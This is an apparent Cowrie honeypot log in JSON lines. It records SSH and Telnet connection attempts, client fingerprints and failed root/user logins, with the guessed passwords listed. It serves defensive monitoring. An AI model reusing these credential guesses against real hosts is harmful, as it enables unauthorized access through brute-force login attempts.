{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:52.940790Z","src_ip":"162.241.129.208","session":"5fc0deeb4263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yearn2024","message":"login attempt [root/yearn2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:53.007991Z","src_ip":"162.241.129.208","session":"5fc0deeb4263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:54.033183Z","src_ip":"162.241.129.208","session":"5fc0deeb4263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59190,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef7b9542be3e","protocol":"telnet","message":"New connection: 170.64.224.25:59190 (159.203.135.109:23) [session: ef7b9542be3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:57.714286Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":42442,"dst_ip":"10.17.0.5","dst_port":22,"session":"76c7d385e50a","protocol":"ssh","message":"New connection: 177.16.244.39:42442 (10.17.0.5:22) [session: 76c7d385e50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:03.784693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:03.789802Z","src_ip":"177.16.244.39","session":"76c7d385e50a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:03.921009Z","src_ip":"177.16.244.39","session":"76c7d385e50a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv12345","message":"login attempt [root/zxcv12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:04.463105Z","src_ip":"177.16.244.39","session":"76c7d385e50a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:05.592232Z","src_ip":"177.16.244.39","session":"76c7d385e50a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":33312,"dst_ip":"159.203.135.109","dst_port":22,"session":"3da403c915b6","protocol":"ssh","message":"New connection: 154.18.197.35:33312 (159.203.135.109:22) [session: 3da403c915b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:13.527748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:13.531722Z","src_ip":"154.18.197.35","session":"3da403c915b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:13.747022Z","src_ip":"154.18.197.35","session":"3da403c915b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"India@2024","message":"login attempt [root/India@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:14.644724Z","src_ip":"154.18.197.35","session":"3da403c915b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:15.862938Z","src_ip":"154.18.197.35","session":"3da403c915b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.82964253425598,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:16.543843Z","src_ip":"170.64.224.25","session":"ef7b9542be3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":48872,"dst_ip":"159.203.135.109","dst_port":23,"session":"c519cd2ff050","protocol":"telnet","message":"New connection: 143.198.154.150:48872 (159.203.135.109:23) [session: c519cd2ff050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:18.687999Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":44540,"dst_ip":"10.17.0.5","dst_port":22,"session":"036db5a3dbda","protocol":"ssh","message":"New connection: 138.197.164.175:44540 (10.17.0.5:22) [session: 036db5a3dbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:19.958494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:19.963349Z","src_ip":"138.197.164.175","session":"036db5a3dbda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:19.982113Z","src_ip":"138.197.164.175","session":"036db5a3dbda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv123123","message":"login attempt [root/zxcv123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:20.093708Z","src_ip":"138.197.164.175","session":"036db5a3dbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:21.115502Z","src_ip":"138.197.164.175","session":"036db5a3dbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00565123558044,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:25.389002Z","src_ip":"170.64.224.25","session":"2af67e1b3704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55076,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b4cea45fead","protocol":"telnet","message":"New connection: 170.64.224.25:55076 (159.203.135.109:23) [session: 4b4cea45fead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:30.012058Z"}
{"eventid":"cowrie.session.closed","duration":12.318640947341919,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:31.006540Z","src_ip":"143.198.154.150","session":"c519cd2ff050","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":52898,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e223f4dfa2b","protocol":"ssh","message":"New connection: 20.228.193.165:52898 (10.17.0.5:22) [session: 9e223f4dfa2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:31.413685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:31.416907Z","src_ip":"20.228.193.165","session":"9e223f4dfa2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:31.434121Z","src_ip":"20.228.193.165","session":"9e223f4dfa2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mko0-pl,","message":"login attempt [root/mko0-pl,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:31.538165Z","src_ip":"20.228.193.165","session":"9e223f4dfa2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34466,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbfea3f14bb3","protocol":"ssh","message":"New connection: 91.92.40.4:34466 (10.17.0.5:22) [session: cbfea3f14bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:31.749157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:31.753106Z","src_ip":"91.92.40.4","session":"cbfea3f14bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:31.832876Z","src_ip":"91.92.40.4","session":"cbfea3f14bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"wasd","message":"login attempt [user/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:32.077012Z","src_ip":"91.92.40.4","session":"cbfea3f14bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:32.558036Z","src_ip":"20.228.193.165","session":"9e223f4dfa2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:33.159676Z","src_ip":"91.92.40.4","session":"cbfea3f14bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":56658,"dst_ip":"159.203.135.109","dst_port":22,"session":"9181070fe4d5","protocol":"ssh","message":"New connection: 165.232.38.41:56658 (159.203.135.109:22) [session: 9181070fe4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:39.745254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:39.749248Z","src_ip":"165.232.38.41","session":"9181070fe4d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:39.820233Z","src_ip":"165.232.38.41","session":"9181070fe4d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kedacom","message":"login attempt [root/kedacom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:40.139441Z","src_ip":"165.232.38.41","session":"9181070fe4d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":40680,"dst_ip":"10.17.0.5","dst_port":22,"session":"723b1c1468a3","protocol":"ssh","message":"New connection: 189.203.163.10:40680 (10.17.0.5:22) [session: 723b1c1468a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:40.728224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:40.732056Z","src_ip":"189.203.163.10","session":"723b1c1468a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:40.796059Z","src_ip":"189.203.163.10","session":"723b1c1468a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mm@123456","message":"login attempt [root/mm@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:41.083697Z","src_ip":"189.203.163.10","session":"723b1c1468a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:41.219817Z","src_ip":"165.232.38.41","session":"9181070fe4d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:42.152293Z","src_ip":"189.203.163.10","session":"723b1c1468a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":57292,"dst_ip":"10.17.0.5","dst_port":22,"session":"e754998d5f63","protocol":"ssh","message":"New connection: 160.174.129.232:57292 (10.17.0.5:22) [session: e754998d5f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:45.295794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:45.299910Z","src_ip":"160.174.129.232","session":"e754998d5f63","protocol":"ssh"}
